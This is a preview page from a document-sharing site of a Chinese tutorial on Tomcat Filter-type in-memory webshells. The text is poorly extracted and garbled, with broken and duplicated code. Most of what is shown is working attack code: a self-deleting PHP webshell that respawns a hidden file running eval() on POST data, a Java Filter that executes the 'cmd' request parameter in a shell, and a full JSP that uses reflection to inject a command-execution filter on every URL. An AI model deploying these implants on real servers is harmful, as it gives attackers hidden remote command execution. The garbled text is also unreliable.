2024Tomcat Filter類型內(nèi)存馬與查殺技術(shù)學習_第1頁
2024Tomcat Filter類型內(nèi)存馬與查殺技術(shù)學習_第2頁
2024Tomcat Filter類型內(nèi)存馬與查殺技術(shù)學習_第3頁
2024Tomcat Filter類型內(nèi)存馬與查殺技術(shù)學習_第4頁
2024Tomcat Filter類型內(nèi)存馬與查殺技術(shù)學習_第5頁
已閱讀5頁,還剩35頁未讀 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領

文檔簡介

PAGEPAGE10/41TomcatFilter類型內(nèi)存?與查殺技術(shù)學習前?隨著每年攻防對抗強度的增加,普通的??在各??商的安全設備下,根本難以存活,想要落地?個實體??的難漸增?逐步完善的過濾機制前后端分離的趨勢,使得傳統(tǒng)的webshell?存空間越來越?于是,隨著時代的發(fā)展,內(nèi)存?出現(xiàn)了內(nèi)存?就是?種?需落地?件就能使?的webshell,它將惡意代碼寫?內(nèi)存,攔截固定參數(shù)來達到webshell的效果發(fā)展過程如下:web服務器管理??——>??——>??拉??——>?句話??——>加密?句話??——>php內(nèi)存?剛開始學習的時候,只知道php內(nèi)存?,想的都是內(nèi)存?,php和java應該會有?些相似的特征,應該可以類??下php內(nèi)存?常常作為AWD對抗賽的常??段先通過?個簡單的php型看?下內(nèi)存?的基本實現(xiàn)思路<?php<?phpignore_user_abort(true);//ignore_user_abort如果設置為TRUE,則忽略與?戶的斷開,腳本將繼續(xù)運?set_time_limit(0);//PHP腳本限制了執(zhí)?時間,set_time_limit(0)設置?個腳本的執(zhí)?時間為?限?unlink(FILE);//刪除?身$file='.config.php';$code='<?phpif(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);}?>';while(1){file_put_contents($file,$code);file_put_contents($file,$code);//創(chuàng)建shell.phpsystem('touch-m-d"2018-12-0109:10:12".config.php');usleep(50);//間隔時間}?>?成.con?g.php普通ls列不出來,得ls-a才會列出==>隱藏?件刪除?身?件,然后在某?個?錄下循環(huán)?成你的webshell==>不死那我們可以梳理?下php內(nèi)存?的流程:將攜帶循環(huán)?成??的命令腳本上傳??標服務器刪除?件本身讓其以隱藏?件的?式,死循環(huán)創(chuàng)建?件,并php內(nèi)存?重啟php服務器,(serviceapache2restart)強?kill后臺進程psaux|grepwww-data|awkprint$2|xargskill9while循環(huán)寫腳本while:;dorm-rfxxx;done建??個和不死?相同名字的?件或者?錄,不斷競爭寫??個和不死?同名的?件<?php<?phpwhile(1){$pid=不死?的進程PID;@unlink(".ski12.php");exec("kill-9$pid");usleep(20);}?>那我們根據(jù)php來類??下java內(nèi)存???件落地,?戶?法瀏覽到?件不死,能夠循環(huán)執(zhí)?要實現(xiàn)這兩點,需要結(jié)合java的特性來看,通常運?java的web容器是Tomcat,這?以Tomcat為例實現(xiàn)思路我們先來看?下客戶端(瀏覽器)與服務器(Tomcat)交互的簡化流程客戶端發(fā)起的web請求會依次經(jīng)過ListenerFilterServlet三個組件,我們只要在這個請求的過程中做?腳,在內(nèi)存中修改已有的組件或者動態(tài)注冊?個新的組件,插?惡意的shellcode,就可以達到我們的?的?句話總結(jié):對訪問路徑映射及相關處理代碼的動態(tài)注冊我們要在上?這三個地?動?腳,于是按照作?的位置,我們有了listener內(nèi)存??lter內(nèi)存?Servlet內(nèi)存?這三個,統(tǒng)稱為:servlet-api型在特定框架?,如Spring/Struts2等框架,按照位置分類可以有interceptor型controller型同時,針對不同的中間件還有不同的類型Tomcat的Pipeline&ValveGrizzly的FilterChain&Filter等等最后?種是字節(jié)碼增強型內(nèi)存?,JavaAgent內(nèi)存?最終安全?業(yè)將分為以下?類動態(tài)注冊servlet/?lter/listener(使?servlet-api的具體實現(xiàn))動態(tài)注冊interceptor/controller(使?框架如spring/struts2)動態(tài)注冊使?職責鏈設計模式的中間件框架的實現(xiàn)(例如Tomcat的Pipeline&Valve,GrizzlyFilterChain&Filter等等)使?javaagent技術(shù)寫?字節(jié)Filter型內(nèi)存?為例在進?正題之前,先說兩個東?java特性--反射java的四?特性是,封裝,繼承,多態(tài),反射,其中靈魂是反射我們先看這張圖,正常我們new?個對象的時候,邏輯過程是,把class?件加載到jvm中,之后才能產(chǎn)?class對象,但是我們利?反射機制的話,就能夠直接在jvm中調(diào)?已經(jīng)加載好的class?件,從?實現(xiàn)去new?個對象簡單的反射獲取對象的?法有以下?種:類名類名.class,如:com.anbai.sec.classloader.TestHelloWorld.classClass.forName("com.anbai.sec.classloader.TestHelloWorld")classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld")常在連接數(shù)據(jù)庫的時候這么?①獲取?標類型的Class對象②通過Class對象分別獲取Constructor類對象Method類對象&Field類對象③通過Constructor類對象Method類對象&Field類對象分別獲取類的構(gòu)造函數(shù)?法&屬性的具體信息,并進后續(xù)操作Tomcat熱加載上?說到,根據(jù)雙親委派機制,那么什么是雙親委派機制呢?但是Tomcat不適?于這種機制,他所使?的是:所以,在分析某些類的時候,要按照對應Tomcat??去分析流程分析?lter也稱之為過濾器,過濾器實際上就是對web資源進?攔截,做?些過濾,權(quán)限鑒別等處理后再交給下?個過濾器或servlet處理,通常都是?來攔截request進?處理的,也可以對返回的response進?攔截處理當多個?lter同時存在的時候,組成了?lter鏈web服務器根據(jù)Filter在web.xml?件中的注冊順序,決定先調(diào)?哪個Filter第?個Filter的doFilter?法被調(diào)?時,web服務器會創(chuàng)建?個代表Filter鏈的FilterChain對象傳遞法doFilter?法中,開發(fā)?員如果調(diào)?了FilterChain對象的doFilter?法,則web服務器會檢查FilterChain對象中是否還有?lter 如果有 則調(diào)?第2個?lter 如果沒有 則調(diào)??標資源象中是否還有?lter,如果有,則調(diào)?第2個?lter,如果沒有,則調(diào)??標資源如果我們動態(tài)創(chuàng)建?個?lter并且將其放在最前?,我們的?lter就會最先執(zhí)?,當我們在?lter中添加惡意代碼,就會進?命令執(zhí)?,這樣也就成為了?個內(nèi)存WebshellFilter?命周期publicvoidinitpublicvoidinit(FilterConfigfilterConfig)throwsServletException //初始化publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsIOException,letException; //攔截請求publicvoiddestroy();//銷毀Filter對象創(chuàng)建后會駐留在內(nèi)存,當web應?移除或服務器停?時才銷毀在Web容器卸載Filter對象之前被調(diào)?該?法在Filter的?命周期中僅執(zhí)??次在這個?法中,可以釋放過濾器使?的資源我們可以通過動態(tài)注冊的?法去注冊?個FIlterFilter類的介紹FilterDefs:存放FilterDef的數(shù)組,F(xiàn)ilterDef中存儲著我們過濾器名,過濾器實例等基本信息FilterCon?gs:?lterCon?g的數(shù)組,F(xiàn)ilterCon?gFilterDefFilter對象等信息FilterMaps:存放FilterMap的數(shù)組,F(xiàn)ilterMap中主要存放了FilterName和對應的URLPatternFilterChain:過濾器鏈,該對象上的doFilter?法能依次調(diào)?鏈上的FilterApplicationFilterChain:調(diào)?過濾器鏈ApplicationFilterCon?g:獲取過濾器ApplicationFilterFactory:組裝過濾器鏈WebXml:存放web.xml中內(nèi)容的類ContextCon?g:Web應?的上下?配置類StandardContext:Context接?的標準實現(xiàn)類,?個Context代表?個Web應?,其下可以包含多個WrapperStandardWrapperValve:?個Wrapper的標準實現(xiàn)類,?個Wrapper代表?個ServletOK,到這?,我我們有些許迷茫,什么是Context,wrapperServletjava最基本的應?,Tomcat是?個Servlet容器,tomcatconnector連接器和容器組成(這四個容器的關系如下),是??關系,不是平?關系,和Servlet的?式不同,F(xiàn)ilter不能通過注解去配置,必須在web.xml進?配置<?xmlversion="1.0"encoding="UTF-8"?><?xmlversion="1.0"encoding="UTF-8"?><<web-appxmlns="/xml/ns/javaee"xmlns:xsi="xsi:schemaLocation="version="4.0"><filter><filter-name>filterDemo</filter-name><filter-class>FilterDemo</filter-class></filter><filter-mapping><filter-name>filterDemo</filter-name><url-pattern>/*</url-pattern></filter-mapping><filter><filter-name>filterDemo2</filter-name><filter-class>FilterDemo2</filter-class></filter><filter-mapping><filter-name>filterDemo2</filter-name><url-pattern>/*</url-pattern></filter-mapping></web-app>這?寫了兩個FilterDemo,代碼基本相同,主要是為了展示這個Filter過濾鏈importimportjavax.servlet.*;importjava.io.IOException;publicclassFilterDemo2implementsFilter{@Overridepublicvoidinit(FilterConfigfilterConfig)throwsServletException{System.out.println("第?個Filter初始化創(chuàng)建");}@OverridepublicvoiddoFilter(ServletRequestservletRequest,ServletResponseservletResponse,FilterChainfilterChain)throwsIOException,ServletException{Systemoutprintln("第?個Filter執(zhí)?過濾操作");System.out.println(System.out.println(第個Filter執(zhí)?過濾操作);filterChain.doFilter(servletRequest,servletResponse);}@Overridepublicvoiddestroy(){}}Tomcat是這樣將我們?定義的?lter調(diào)?的根據(jù)請求的URL從FilterMaps中找出與之URL對應的Filter名稱根據(jù)Filter名稱去FilterCon?gs中尋找對應名稱的FilterCon?g找到對應的FilterCon?g之后添加到FilterChain中,并且FilterChain?lterChaininternalDoFilter遍歷獲chainFilterCon?g,F(xiàn)ilterCon?g中獲Filter,然后調(diào)?Filter的doFilter?法模擬注?<?xmlversion="1.0"encoding="UTF-8"?><<?xmlversion="1.0"encoding="UTF-8"?><web-appxmlns="/xml/ns/javaee"xmlns:xsi="xsi:schemaLocation="/xml/ns/javaee/xml/ns/javaee/web-app_4_0.xsd"version="4.0"><filter><filter-name>cmd_Filters</filter-name><filter-class>cmd_Filters</filter-class></filter><filter-mapping><filter-name>cmd_Filters</filter-name><url-pattern>/*</url-pattern></filter-mapping><filter><filter-name>filterDemo</filter-name><filter-class>FilterDemo</filter-class></filter><filter-mapping><filter-name>filterDemo</filter-name><url-pattern>/*</url-pattern></filter-mapping></web-app>importjavax.servlet.*;importjavax.servlet.http.HttpServletRequest;importjavax.servlet.http.HttpServletResponse;importjava.io.IOException;importjava.io.InputStream;importjava.util.Scanner;publicclasscmd_FiltersimplementsFilter{publicvoiddestroy(){}publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsServletException,IOException{HttpServletRequestreq=(HttpServletRequest)request;HttpServletResponseresp=(HttpServletResponse)response;if(req.getParameter("cmd")!=null){booleanisLinux=true;StringosTyp=System.getProperty(" );if(osTyp!=null&&osTyp.toLowerCase().contains("win")){isLinux=false;}String[]cmds=isLinux?newString[]{"sh","-c",req.getParameter("cmd")}:newString[]{"cmd.exe","/c",req.getParameter("cmd")};InputStreamin=Runtime.getRuntime().exec(cmds).getInputStream();Scanners=newScanner(in).useDelimiter("\\A");Stringoutput=s.hasNext()?s.next():"";resp.getWriter().write(output);resp.getWriter().flush();}chain.doFilter(request,response);}publicvoidinit(FilterConfigconfig)throwsServletException{}}實際過程中,我們是不可能操作web.xml的,我們需要使?反射進?動態(tài)注冊,流程如下:創(chuàng)建?個惡意Filter利?FilterDef對Filter進??個封裝將FilterDef添加到FilterDefs和FilterCon?g創(chuàng)FilterMap,F(xiàn)ilterurlpattern相對應,?lterMaps中(Filter?效會有?個先后順序,所以我們?般都是放在最前?,讓我們的Filter最先觸發(fā))從前?的的分析,可以發(fā)現(xiàn)程序在創(chuàng)建過濾器鏈的時候,context變量??包含了三個和?lter有關的成員變量:?lterCon?gs,?lterDefs,?lterMaps現(xiàn)在要解決的兩個問題:1.如何獲取這個context對象如何獲取這個context對象如何修改如何獲context對象?先,你需要知道Tomcat中的對應的ServletContext實現(xiàn)是ApplicationContextWeb應?中獲ServletContext實際上ApplicationContextFacade對象,ApplicationContext進?了封裝,?ApplicationContext實例中?包含了StandardContext實例,以此來獲取操作Tomcat容器內(nèi)部的?些信息例如Servlet的注冊等ServletContextservletContext=request.getSession().getServletContext();Fieldappctx=servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContextapplicationContext=(ApplicationContext)appctx.get(servletContext);當我們能直接獲取request的時候,可以直接將ServletContext轉(zhuǎn)為StandardContext從?ServletContextservletContext=request.getSession().getServletContext();Fieldappctx=servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContextapplicationContext=(ApplicationContext)appctx.get(servletContext);//上???的?的是為了獲取//上???的?的是為了獲取(ApplicationContext)contextJava反射獲取servletContext所屬的類(ServletContext實際上是ApplicationContextFacade對象),使?getDeclaredField根據(jù)指定名稱context獲取類的屬性(private?nalorg.apache.catalina.core.ApplicationContext),因為是private類型,所以使?setAccessible取消對權(quán)限的檢查,實現(xiàn)對私有的訪問,此時appctx的值:ApplicationContext->StandardContext(ApplicationContext實例中包含了StandardContext實例)Fieldstdctx=applicationContext.getClass().getDeclaredField(Fieldstdctx=applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContextstandardContext=(StandardContext)stdctx.get(applicationContext);//上???的?的是為了獲取(StandradContext)context通過Java反射獲取applicationContext所屬的類(org.apache.catalina.core.ApplicationContext),使?getDeclaredField根據(jù)指定名稱context獲取類的屬性(private?nalorg.apache.catalina.core.StandardContext),因為是private類型,使?setAccessible取消對權(quán)限的檢查,實現(xiàn)對私有的訪問,此時stdctx的值:ServletContextservletContext=request.getSession().getServletContext();Fieldappctx=servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);//ApplicationContext為ServletContextServletContextservletContext=request.getSession().getServletContext();Fieldappctx=servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);//ApplicationContext為ServletContext的實現(xiàn)類ApplicationContextapplicationContext=(ApplicationContext)appctx.get(servletContext);Fieldstdctx=applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);//這樣我們就獲取到了contextStandardContextstandardContext=(StandardContext)stdctx.get(applicationContext);如何修改對應的屬性addFilterDef: 添加?個?lterDef到ContextaddFilterMapBefore:添加?lterMap到所有?lter最前?ApplicationFilterCon?g:為指定的過濾器構(gòu)造?個新的ApplicationFilterCon?g我們需要實例化?個FilterDef對象,并將惡意構(gòu)造的惡意類添加到?lterDef中////定義?些基礎屬性類名filter名等filterDemofilter=newfilterDemo();FilterDeffilterDef=newFilterDef();//name=filterDemofilterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());filterDef.setFilter(filter);//添加filterDefstandardContext.addFilterDef(filterDef);之后,實例化?個FilterMap對象,并將?lterMap到所有?lter最前?////創(chuàng)建filterMap,設置filter和url的映射關系,可設置成單?url如/xyz,也可以所有??都FilterMapfilterMap=newFilterMap();//filterMap.addURLPattern("/*");filterMap.addURLPattern("/xyz");//name=filterDemofilterMap.setFilterName(name);filterMap.setDispatcher(//添加我們的filterMap到所有filter最前?standardContext.addFilterMapBefore(filterMap);可觸發(fā)可設置為/*最后,F(xiàn)ilterCon?gs?lterCon?g的數(shù)組,F(xiàn)ilterCon?gFilterDefFilter對象等信息先獲取當前?lterCon?gs信息FieldConfigs=standardContext.getClass().getDeclaredField(FieldConfigs=standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);MapfilterConfigs=(Map)Configs.get(standardContext);Constructorconstructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardContext,filterDef);通過Java反射來獲得構(gòu)造器(Constructor)對象并Constructorconstructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardContext,filterDef);然后將惡意的?lter名和配置好的?lterCon?g傳?//name=filterDemo//name=filterDemofilterConfigs.put(name,filterConfig);name

?此,我們的惡意?lter已經(jīng)全部裝載完成最終得到的內(nèi)存?為<%--CreatedbyIntelliJUser:12451Date:Time:17:41TochangethistemplateuseFile|Settings|FileTemplates.--%><%@pageimport="org.apache.catalina.core.ApplicationContext"%><%@pageimport="java.lang.reflect.Field"%><%@pageimport="org.apache.catalina.core.StandardContext"%><%@pageimport="java.util.Map"%><%@pageimport="java.io.IOException"%><%@pageimport="java.lang.reflect.Constructor"%><%@pageimport="org.apache.catalina.core.ApplicationFilterConfig"%><%@pageimport="org.apache.catalina.Context"%><%@pageimport="org.apache.catalina.deploy.FilterDef"%><%@pageimport="org.apache.catalina.deploy.FilterMap"%><%@pagelanguage="java"contentType="text/html;charset=UTF-8"pageEncoding="UTF-8"%><%finalStringname=FilterAgent;ServletContextservletContext=request.getSession().getServletContext();Fieldappctx=servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContextapplicationContext=(ApplicationContext)appctx.get(servletContext);Fieldstdctx=applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContextstandardContext=(StandardContext)stdctx.get(applicationContext);FieldConfigs=standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);ifMapfilterConfigs=(Map)Configs.get(standardContext);(filterConfigs.get(name)==null){ifpublicvoidthrowsFilterfilter=newFilter(){@Overridepublicvoidthrows}@Override

init(FilterConfigfilterConfig)

ServletException{rChain)

doFilter(ServletRequestservletRequest,ServletResponseservletResponse,FilterChainfilteIOException,ServletException{publicvoidthrowsHttpServletRequestreq=(HttpServletRequest)servletRequest;publicvoidthrowsif(req.getParameter("cmd")!=null){byte[]bytes=newbyte[1024];ifintProcessprocess=newProcessBuilder("cmd","/c",req.getParameter("cmd")).start();len=process.getInputStream().read(bytes);intservletResponse.getWriter().write(newString(bytes,0,len));process.destroy();returnreturn;}filterChain.doFilter(servletRequest,servletResponse);}void@Overridevoidpublicpublic}};

destroy(){FilterDeffilterDef=newFilterDef();filterDefsetFilter(filter);ss);

filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());/***將filterDef添加到filterDefs中*/standardContext.addFilterDef(filterDef);FilterMapfilterMap=newFilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(name);filterMap.setDispatcher(standardContext.addFilterMapBefore(filterMap);Constructorconstructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.claconstructor.setAccessible(true);ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardContext,filterDef);filterConfigs.put(name,filterConfig);out.print("InjectSuccess!");}%>效果如下之后,在

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論